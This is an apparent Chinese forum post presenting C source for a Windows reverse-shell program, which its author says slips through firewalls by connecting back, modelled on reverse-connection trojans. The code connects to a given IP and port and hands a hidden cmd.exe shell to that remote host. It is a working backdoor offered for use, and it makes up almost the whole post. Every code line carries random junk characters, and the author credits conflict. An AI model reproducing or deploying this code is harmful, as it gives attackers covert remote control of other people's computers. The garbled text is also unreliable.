这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'z\K0
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/* ============================== #2c-@),
Rebound port in Windows NT 5-|fp(Ww_W
By wind,2006/7 ~:."BA
===============================*/ =4
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#include h3.wR]ut
#include {#CyO
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#pragma comment(lib,"wsock32.lib") 8o~<\eF%
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void OutputShell(); {\G4YQ
SOCKET sClient; 0(VQwGC[
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; *7hr3x
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void main(int argc,char **argv) Zg%SE'kK
{ IEV3(qzt
WSADATA stWsaData; X%!#Ic]Q
int nRet; kWL\JDZ`.
SOCKADDR_IN stSaiClient,stSaiServer; =V:rO;qX+@
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if(argc != 3) (6p5Fo
{ v/f&rK* >
printf("Useage:\n\rRebound DestIP DestPort\n"); sbOa]
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return; [#H$@g|CT
} +x$;T*0
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WSAStartup(MAKEWORD(2,2),&stWsaData); @Nb&f<+gi
{ hUbK+dKZ
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OL*EY:]
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stSaiClient.sin_family = AF_INET; s% `o
stSaiClient.sin_port = htons(0); Rxld$@~-(]
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ZWW:-3
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) + oyW_!(
{ D.|h0gU
printf("Bind Socket Failed!\n"); @AL,@P/9=
return; li\hH d5
} o
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stSaiServer.sin_family = AF_INET; ?lCKZm.,(-
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6l IFxc
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @#ih;F
{ 39?iX'*p
printf("Connect Error!"); RLr;]j8cm
return; :h1itn
} E,5jY
OutputShell(); Y+ P\5G
} r: n^U#
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void OutputShell() ]t]s/;9]K
{ N. 3
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char szBuff[1024]; z (r Q6
SECURITY_ATTRIBUTES stSecurityAttributes; YD$fN"}-
OSVERSIONINFO stOsversionInfo; ;7&RmIXKh'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~^=QBwDW8N
STARTUPINFO stStartupInfo; 4`)B@<
char *szShell; XbYW,a@w2
PROCESS_INFORMATION stProcessInformation; gPY2Bnw;l
unsigned long lBytesRead; D52ELr7
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); OUn,URI
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); UO8#8
stSecurityAttributes.lpSecurityDescriptor = 0; Z2`(UbG}
stSecurityAttributes.bInheritHandle = TRUE; o
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MsCY5g
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); IX;u +B
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 30g-J(Zg
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )Z0pU\
stStartupInfo.wShowWindow = SW_HIDE; V3K
stStartupInfo.hStdInput = hReadPipe; `TKe+oS)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a/X@5kr{
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GetVersionEx(&stOsversionInfo); ^,'!j/w5
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switch(stOsversionInfo.dwPlatformId) D_D<N(O
{ X'e@(I!0
case 1: 1Ah
szShell = "command.com"; )#Ea~>v
break; 5YMjvhr?W
default: He. gl
szShell = "cmd.exe"; "CBe$b4
break; Z.<OtsQN
} t.c XrX`k
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j*<H18^G
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send(sClient,szMsg,77,0); *^ncb,1+i
while(1) &(-+?*A`E
{ !6\{q
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #-1 ;
if(lBytesRead) N|?"=4Z?
{ |/[?]`
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jTaEaX8+
send(sClient,szBuff,lBytesRead,0); i}N'WV`!
} ([iMOE[D3
else `Q^G
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{ >%x7-->IB
lBytesRead=recv(sClient,szBuff,1024,0); Xa#`VDh
if(lBytesRead<=0) break; g:`V:kbY$
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Wcl@H @
} tM <6c+
} wlKfTJrn&
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return; Vq2d+
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}